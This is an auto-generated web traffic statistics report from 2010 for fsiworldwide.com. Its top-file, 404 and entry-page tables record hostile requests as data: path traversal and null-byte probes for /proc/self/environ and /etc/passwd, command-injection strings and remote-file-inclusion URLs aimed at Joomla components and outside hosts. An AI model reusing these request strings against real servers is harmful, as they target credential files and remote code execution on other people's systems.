Overall Activity Report:
fsiworldwide.com

(Accesses Through 05:14:52 25 Jul 2010)

| Access Details Report | Referring URLs Report | Keywords Report | Agents/Platforms Report |


Index

Long-Term Statistics:

     

Statistics for the Current Month (Jul 2010):

Key Terms:

Hits: The total number of files requested from the server.
Bytes: The amount of information transferred in filling those requests.
Visits: The (approximate) number of actual individual visitors.
PViews: The number of Web pages viewed by those visitors.

The bar graphs below are based upon number of visitors.


Monthly Statistics

        Hits               Bytes      Visits      PViews      Month

           6               4,440           1           3   Oct 2001  
          35              72,428          21          22   Nov 2001  
          42              81,444          26          28   Dec 2001  
          65             113,348          41          45   Jan 2002  
          40              75,926          26          27   Feb 2002  
          34              70,688          21          21   Mar 2002  
          29              61,708          17          17   Apr 2002  
       1,516           1,969,420          29       1,498   May 2002  
          53              91,964          39          39   Jun 2002  
          56             101,552          40          38   Jul 2002  
          46              65,760          40          39   Aug 2002  
          34              57,954          25          24   Sep 2002  
          38              58,336          30          31   Oct 2002  
          31              58,400          21          21   Nov 2002  
          26              45,710          19          19   Dec 2002  
          26              45,808          18          19   Jan 2003  
          34              75,089          22          18   Feb 2003  
          26              43,918          19          19   Mar 2003  
          26              58,839          15          13   Apr 2003  
          38              49,907          28          35   May 2003  
          22              31,053          20          20   Jun 2003  
          23              31,409          19          21   Jul 2003  
          40              90,492          22          21   Aug 2003  
          46              88,951          27          30   Sep 2003  
          37              63,197          27          28   Oct 2003  
          50              78,572          38          41   Nov 2003  
          50              91,518          36          35   Dec 2003  
          51              86,546          40          39   Jan 2004  
          39              61,599          28          32   Feb 2004  
          69             102,541          50          59   Mar 2004  
          69             108,780          51          56   Apr 2004  
          64              95,734          49          55   May 2004  
          87             117,422          59          79   Jun 2004  
          66             122,892          47          50   Jul 2004  
          88             141,942          67          75   Aug 2004  
          83             130,599          66          72   Sep 2004  
         115             194,900          81          98   Oct 2004  
         136             282,461          87         112   Nov 2004  
         150             348,576          95         126   Dec 2004  
         459             812,418          94         428   Jan 2005  
         207             431,414         102         172   Feb 2005  
         237             586,897         138         194   Mar 2005  
         335             816,958         151         293   Apr 2005  
         517           1,309,275         288         419   May 2005  
         507           1,213,946         305         429   Jun 2005  
         440           1,102,697         273         365   Jul 2005  
         512           1,307,182         321         432   Aug 2005  
         527           1,356,633         311         444   Sep 2005  
         515           1,302,810         311         419   Oct 2005  
         464           1,165,862         295         377   Nov 2005  
         382             953,132         252         312   Dec 2005  
         749           1,632,086         366         597   Jan 2006  
         459             978,964         249         375   Feb 2006  
         401             872,713         193         342   Mar 2006  
         284             613,191         152         212   Apr 2006  
         215             553,069         127         162   May 2006  
         242             532,404         134         180   Jun 2006  
         265             626,250         157         199   Jul 2006  
         241             583,157         138         195   Aug 2006  
         249             607,830         157         194   Sep 2006  
         264             567,981         166         190   Oct 2006  
         270             606,056         160         198   Nov 2006  
         305             651,917         173         216   Dec 2006  
         481           1,072,188         235         357   Jan 2007  
         402             909,479         208         292   Feb 2007  
         581           1,197,862         273         420   Mar 2007  
         446           1,029,532         234         322   Apr 2007  
         408             969,822         244         286   May 2007  
         403             903,378         230         261   Jun 2007  
         429             921,780         216         297   Jul 2007  
         469             989,892         236         282   Aug 2007  
         831           3,283,329         235         292   Sep 2007  
         356           1,868,469          55          63   Oct 2007  
         733           4,163,581         117         132   Nov 2007  
       4,350          24,466,696         644       1,974   Dec 2007  
       3,575          17,617,471         600         846   Jan 2008  
       3,930          18,310,354         719         684   Feb 2008  
       7,669          21,274,600       1,171         798   Mar 2008  
      12,438          32,384,767       1,774         976   Apr 2008  
      26,548          63,460,077       2,891       1,768   May 2008  
      22,167          54,543,661       2,442       1,483   Jun 2008  
      28,886          95,266,114       3,152       2,698   Jul 2008  
       8,182          35,343,420       1,161       1,123   Aug 2008  
      19,609          62,143,825       1,836       1,577   Sep 2008  
      28,398          88,957,870       2,070       1,643   Oct 2008  
      25,672          82,726,999       1,999       1,838   Nov 2008  
      21,505          74,730,427       1,666       1,462   Dec 2008  
      20,213          69,742,952       2,093       1,835   Jan 2009  
      20,368          63,124,768       2,308       1,552   Feb 2009  
      24,648          70,564,212       2,081       1,543   Mar 2009  
      23,539          68,020,680       1,573       1,364   Apr 2009  
      24,859          76,955,200       2,415       2,176   May 2009  
      22,488          64,087,565       2,212       1,900   Jun 2009  
      23,283          65,471,961       2,910       2,375   Jul 2009  
      14,337          40,672,977       1,742       1,580   Aug 2009  
      12,983          36,491,826       1,704       1,390   Sep 2009  
      29,608          81,784,794       3,647       3,225   Oct 2009  
      17,942          54,202,649       1,649       1,678   Nov 2009  
      17,813          54,665,477       2,173       2,172   Dec 2009  
      21,781          62,352,419       2,555       2,812   Jan 2010  
      20,536          64,758,527       2,332       2,545   Feb 2010  
      23,013          72,536,776       2,162       2,666   Mar 2010  
      22,024          73,191,755       2,633       3,720   Apr 2010  
      24,018          88,884,358       3,395       5,997   May 2010  
      27,875         124,252,199       4,517       8,335   Jun 2010  
      62,211         150,112,175       8,797      10,864   Jul 2010  

[ Return to Index ]


Daily Statistics (Past Five Weeks)

        Hits               Bytes      Visits      PViews       Date


       1,523           3,599,227         135         327     20 Jun  
         978           4,071,874         195         374     21 Jun  
         818           3,154,054         141         155     22 Jun  
         703           3,032,674         156         219     23 Jun  
         993           5,090,537         179         294     24 Jun  
         839           4,453,359         151         192     25 Jun  
       1,334          11,042,135         256         630     26 Jun  

       1,055           4,736,987         169         326     27 Jun  
       1,210           4,798,129         239         457     28 Jun  
       1,520           8,553,394         237         603     29 Jun  
         947           4,991,780         153         344     30 Jun  
         861           4,653,280         164         434     01 Jul  
       1,525           7,190,127         201         406     02 Jul  
       1,275           4,758,390         173         344     03 Jul  

       1,203           4,388,447         195         413     04 Jul  
       1,660           8,945,027         206         684     05 Jul  
         851           3,954,817         151         284     06 Jul  
       1,150           5,780,267         158         435     07 Jul  
       2,859           6,630,248         388         481     08 Jul  
       3,817           6,251,545         465         500     09 Jul  
       3,258           7,257,198         410         634     10 Jul  

       1,997           3,900,508         311         362     11 Jul  
       2,370           5,533,645         362         399     12 Jul  
       3,681           6,381,251         460         346     13 Jul  
       3,865           7,727,571         432         468     14 Jul  
       2,942           6,063,598         403         517     15 Jul  
       2,823           5,784,708         418         521     16 Jul  
       3,302           3,814,582         412         180     17 Jul  

       2,897           4,833,824         330         424     18 Jul  
       2,968           6,113,111         365         484     19 Jul  
       2,418           7,127,536         444         407     20 Jul  
       4,332          11,238,412         694         704     21 Jul  
       3,068           5,823,705         463         359     22 Jul  
       3,140           7,933,144         570         496     23 Jul  
       3,457           6,965,635         528         517     24 Jul  

         492           1,061,599          94          65     25 Jul  

[ Return to Index ]


Day of Week Averages

        Hits               Bytes      Visits      PViews        Day

       1,735           4,291,799         228         370        Sun  
       1,837           5,892,357         273         480        Mon  
       1,858           5,834,210         287         359        Tue  
       2,199           6,554,141         319         434        Wed  
       2,145           5,652,274         319         417        Thu  
       2,429           6,322,577         361         423        Fri  
       2,525           6,767,588         356         461        Sat  

[ Return to Index ]


Hourly Averages

        Hits               Bytes      Visits      PViews       Hour

         129             193,093          19          17         00  
         118             229,382          19          22         01  
         110             172,475          17          13         02  
         158             424,148          19          40         03  
         123             243,363          21          23         04  
         139             404,354          20          33         05  
         125             253,582          22          21         06  
         125             265,792          18          22         07  
         134             425,721          21          25         08  
         124             300,242          19          17         09  
         116             232,951          19          19         10  
         129             291,944          20          24         11  
         156             537,277          25          31         12  
         177             443,097          22          38         13  
         154             570,346          21          30         14  
         106             228,296          16          13         15  
         120             240,070          17          13         16  
         104             152,071          16           6         17  
         107             141,020          16           7         18  
         103             122,359          15           7         19  
          98             186,837          15           7         20  
         115             161,644          16           7         21  
         108             192,553          15           9         22  
         125             302,072          20          19         23  

[ Return to Index ]


"Record Book"

Most Hits: 4,332 (Jul 21, 2010)

Most Bytes: 11,238,412 (Jul 21, 2010)

Most Visits: 694 (Jul 21, 2010)

Most PViews: 981 (May 26, 2002)

[ Return to Index ]


Top 10 Files by Number of Hits (Jul 2010)

Last Accessed               Hits           Bytes   File

04:38:08 25 Jul 2010       8,054      54,574,207   /../proc/self/environ%00
04:38:09 25 Jul 2010       1,095      28,303,571   /proc/self/environ%00
05:07:52 25 Jul 2010         564       2,117,008   /
20:11:33 24 Jul 2010         150         974,400   /../etc/passwd%00
02:26:01 25 Jul 2010          51         438,580   /../proc/self/environ
16:34:59 23 Jul 2010          48          97,074   /dealers.php
03:39:17 25 Jul 2010          43         279,328   /index.php?option=com_frontpage…/index.php?option=com_frontpage&Itemid=&mosConfig.absolute.path=%7Cecho%20%22casper%22;echo%20%22kae%22;%7C
15:13:29 23 Jul 2010          27         175,392   /?option=com_gcalendar&controller=%7Cecho%20%22casper%22;echo%20%22kae%22;%7C
07:01:00 03 Jul 2010          27         175,392   /index.php?option=com_frontpage…/index.php?option=com_frontpage&Itemid=&mosConfig.absolute.path=http:/bcis.pacificu.edu/images/1????
13:55:14 22 Jul 2010          22         142,912   /../etc/passwd

[ Complete File Statistics ]
[ Return to Index ]


Top 10 Files by Volume (Jul 2010)

Last Accessed               Hits           Bytes   File

04:38:08 25 Jul 2010       8,054      54,574,207   /../proc/self/environ%00
04:38:09 25 Jul 2010       1,095      28,303,571   /proc/self/environ%00
05:07:52 25 Jul 2010         564       2,117,008   /
20:11:33 24 Jul 2010         150         974,400   /../etc/passwd%00
02:26:01 25 Jul 2010          51         438,580   /../proc/self/environ
03:39:17 25 Jul 2010          43         279,328   /index.php?option=com_frontpage…/index.php?option=com_frontpage&Itemid=&mosConfig.absolute.path=%7Cecho%20%22casper%22;echo%20%22kae%22;%7C
15:13:29 23 Jul 2010          27         175,392   /?option=com_gcalendar&controller=%7Cecho%20%22casper%22;echo%20%22kae%22;%7C
07:01:00 03 Jul 2010          27         175,392   /index.php?option=com_frontpage…/index.php?option=com_frontpage&Itemid=&mosConfig.absolute.path=http:/bcis.pacificu.edu/images/1????
15:53:57 22 Jul 2010           9         165,686   /etc/passwd%00
13:55:14 22 Jul 2010          22         142,912   /../etc/passwd

[ Complete File Statistics ]
[ Return to Index ]


Top 10 Most Frequently Requested 404 Files (Jul 2010)

Last Accessed               Hits           Bytes   File

05:14:52 25 Jul 2010      29,735      14,867,500   /contact.php
02:15:23 25 Jul 2010       4,507       2,253,500   /proc/self/environ%00
22:07:36 24 Jul 2010       2,232       1,116,000   /e107
02:15:23 25 Jul 2010       1,851         925,500   /config.php
02:46:45 25 Jul 2010       1,462         731,000   /../proc/self/environ%00
13:40:12 24 Jul 2010         567         283,500   /pingserver.php
05:07:47 25 Jul 2010         280         140,000   /robots.txt
16:47:20 24 Jul 2010         237         118,500   /favicon.ico
04:59:51 22 Jul 2010         213         106,500   /components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=
03:15:28 03 Jul 2010         146          73,000   /*.?option=com_gcalendar&controller=http:/www.tourgaja.net/www/data/casper/Ckrid1.txt??

[ Complete 404 File Not Found Statistics ]
[ Return to Index ]


Top 10 "Entrance" Pages (Jul 2010)

                            Hits                   File

                           5,358                   /
                           4,805                   /../proc/self/environ%00
                           1,023                   /../etc/passwd%00
                             490                   /proc/self/environ%00
                             186                   /etc/passwd%00
                             146                   /index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid=1&GLOBALS=&mosConfig_absolute_path=?
                              88                   /dealers.php
                              75                   /index.php?option=com_sef&Itemid=&mosConfig.absolute.path=http:/www.itsallaboutweb.com/forum/customprofilepics/tes.pdf?
                              65                   /?sourcedir=http:/musicadelibreria.net/footer??
                              60                   /index.php

[ Complete File Statistics ]
[ Return to Index ]


Top 10 "Exit" Pages (Jul 2010)

                            Hits                   File

                           5,211                   /
                           1,765                   /../proc/self/environ%00
                             491                   /proc/self/environ%00
                             420                   /../etc/passwd
                             411                   /../etc/passwd%00
                             184                   /dealers.php
                             157                   /etc/passwd%00
                             146                   /index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid=1&GLOBALS=&mosConfig_absolute_path=?
                             105                   /proc/self/environ
                              86                   /index.php

[ Complete File Statistics ]
[ Return to Index ]


"Top Level" Domains (Jul 2010)

Last Accessed               Hits           Bytes   "Top Level" Domain

05:10:23 25 Jul 2010      15,059      42,354,561   com  = US Commercial
04:04:57 25 Jul 2010      10,622      33,281,388   net  = US Network
05:06:15 25 Jul 2010      10,835      24,124,127   xxx  = Unresolved Domain
23:52:56 24 Jul 2010       2,181       6,983,308   de   = Germany
01:53:41 25 Jul 2010       1,533       4,028,522   uk   = United Kingdom
05:12:25 25 Jul 2010       2,287       3,321,872   ru   = Russian Federation
05:14:52 25 Jul 2010       1,260       3,311,972   ua   = Ukraine
04:53:50 25 Jul 2010         922       3,269,241   info = Dot-Info
04:58:05 25 Jul 2010       2,651       2,828,539   hu   = Hungary
01:50:49 25 Jul 2010         911       2,769,402   br   = Brazil
09:59:14 23 Jul 2010       4,778       2,632,869   be   = Belgium
15:03:32 24 Jul 2010         165       1,859,568   th   = Thailand
04:53:22 25 Jul 2010         978       1,577,983   nl   = Netherlands
03:32:38 25 Jul 2010         986       1,493,173   it   = Italy
05:03:54 25 Jul 2010         891       1,424,579   org  = US Organization
03:59:39 25 Jul 2010         338       1,224,296   au   = Australia
02:51:48 25 Jul 2010         192       1,169,110   kr   = South Korea
23:43:46 24 Jul 2010         224       1,024,272   pl   = Poland
07:21:57 20 Jul 2010         254         752,646   mx   = Mexico
10:00:06 16 Jul 2010         156         711,745   gov  = US Government
10:10:07 24 Jul 2010         190         688,604   dk   = Denmark
14:04:46 18 Jul 2010         135         686,673   edu  = US Educational
21:39:47 24 Jul 2010         770         676,837   ro   = Romania
16:59:27 24 Jul 2010         244         668,576   tw   = Taiwan
06:43:47 24 Jul 2010         154         604,648   es   = Spain
16:59:42 23 Jul 2010         201         572,420   ca   = Canada
05:02:33 25 Jul 2010         375         571,244   eu   = Europe
04:14:51 25 Jul 2010         181         519,676   id   = Indonesia
05:41:17 23 Jul 2010         119         455,236   no   = Norway
10:03:48 13 Jul 2010          94         400,764   ee   = Estonia
09:10:55 20 Jul 2010         112         397,772   se   = Sweden
14:01:26 24 Jul 2010         159         379,300   za   = South Africa
03:24:51 25 Jul 2010         199         371,084   jp   = Japan
04:21:55 13 Jul 2010         111         271,356   pt   = Portugal
04:47:23 25 Jul 2010         127         255,372   fi   = Finland
13:29:32 21 Jul 2010          69         235,133   us   = United States
12:09:11 23 Jul 2010         373         198,492   hr   = Croatia (Hrvatska)
02:42:46 22 Jul 2010         130         190,916   bg   = Bulgaria
05:54:30 16 Jul 2010         126         186,949   gr   = Greece
08:52:37 16 Jul 2010          57         172,404   si   = Slovenia
20:48:43 05 Jul 2010          31         147,412   in   = India
08:27:38 21 Jul 2010          23         125,424   ir   = Iran
12:41:57 24 Jul 2010         142         124,964   by   = Belarus
05:19:02 24 Jul 2010         174         122,976   cz   = Czech Republic
15:49:56 23 Jul 2010         138         104,976   biz  = Dot-Biz
12:17:19 21 Jul 2010          26          96,594   vn   = Viet Nam
11:13:36 21 Jul 2010          25          84,452   tv   = Tuvalu
20:11:33 24 Jul 2010          17          80,452   ws   = Samoa
06:28:19 21 Jul 2010          17          77,297   fr   = France
10:13:12 20 Jul 2010           9          74,485   my   = Malaysia
06:45:17 23 Jul 2010          32          63,968   ch   = Switzerland
22:09:04 11 Jul 2010          97          48,500   is   = Iceland
22:15:14 24 Jul 2010          96          48,000   lv   = Latvia
06:01:43 24 Jul 2010           7          33,480   name = Dot-Name
14:10:55 17 Jul 2010          63          31,500   ar   = Argentina
12:53:01 11 Jul 2010          10          22,988   arpa = Old-Style Arpanet
09:05:21 10 Jul 2010           5          22,409   il   = Israel
23:53:00 23 Jul 2010          37          18,500   co   = Colombia
02:54:23 15 Jul 2010          13          18,492   pk   = Pakistan
09:49:43 23 Jul 2010          10          17,949   sk   = Slovak Republic
13:35:24 18 Jul 2010          23          17,496   lt   = Lithuania
06:48:26 08 Jul 2010          17          14,496   kz   = Kazakhstan
01:52:28 04 Jul 2010           3          13,492   cl   = Chile
14:20:02 03 Jul 2010           2          12,992   uz   = Uzbekistan
04:30:40 21 Jul 2010          10          12,760   sc   = Seychelles
17:27:22 07 Jul 2010          16           8,000   tr   = Turkey
10:47:48 12 Jul 2010           3           7,496   at   = Austria
12:31:54 23 Jul 2010           1           6,496   ooo  = Unrecognized Domain
03:12:57 25 Jul 2010           7           3,500   nz   = New Zealand (Aotearoa)
15:04:48 20 Jul 2010           6           3,000   uy   = Uruguay
19:11:42 17 Jul 2010           2           1,000   ie   = Ireland

[ Return to Index ]


Top 10 Domains by Number of Hits (Jul 2010)

Last Access                 Hits           Bytes   Domain

05:06:15 25 Jul 2010      10,826      24,119,627   unresolved
09:59:14 23 Jul 2010       4,512       2,303,968   hosting-free.be
14:05:22 24 Jul 2010       1,033       1,014,168   host2.anticheatinc.com
22:31:52 24 Jul 2010         957         694,356   bongeszde.hu
00:55:33 25 Jul 2010         798         399,000   server1.hostitquick.com
06:29:42 24 Jul 2010         626         354,972   ownemail.net
04:14:15 09 Jul 2010         624       1,409,268   ukrnik.colo0.od.wnet.ua
13:52:36 24 Jul 2010         490       2,717,818   server16.campusspeicher.de
02:34:43 16 Jul 2010         483         283,472   unassigned.psychz.net
05:03:54 25 Jul 2010         481         564,284   servidor.elforocofrade.org

[ Complete Domain Statistics ]
[ Return to Index ]


Top 10 Domains by Volume (Jul 2010)

Last Access                 Hits           Bytes   Domain

05:06:15 25 Jul 2010      10,826      24,119,627   unresolved
13:52:36 24 Jul 2010         490       2,717,818   server16.campusspeicher.de
14:37:31 23 Jul 2010         395       2,334,189   www.vgorlo.info
09:59:14 23 Jul 2010       4,512       2,303,968   hosting-free.be
12:56:21 19 Jul 2010         113       1,959,315   x6.dca1.superb.net
16:58:32 24 Jul 2010         273       1,716,267   server15.campusspeicher.de
22:41:12 14 Jul 2010         101       1,672,147   nrdcbmn.kku.ac.th
23:00:16 02 Jul 2010         244       1,585,024   web5.nozonenet.com
13:43:53 24 Jul 2010         288       1,556,938   mail.jumpstudio.com
04:14:15 09 Jul 2010         624       1,409,268   ukrnik.colo0.od.wnet.ua

[ Complete Domain Statistics ]
[ Return to Index ]


| Access Details Report | Referring URLs Report | Keywords Report | Agents/Platforms Report |

This report was generated with WebLog 2.53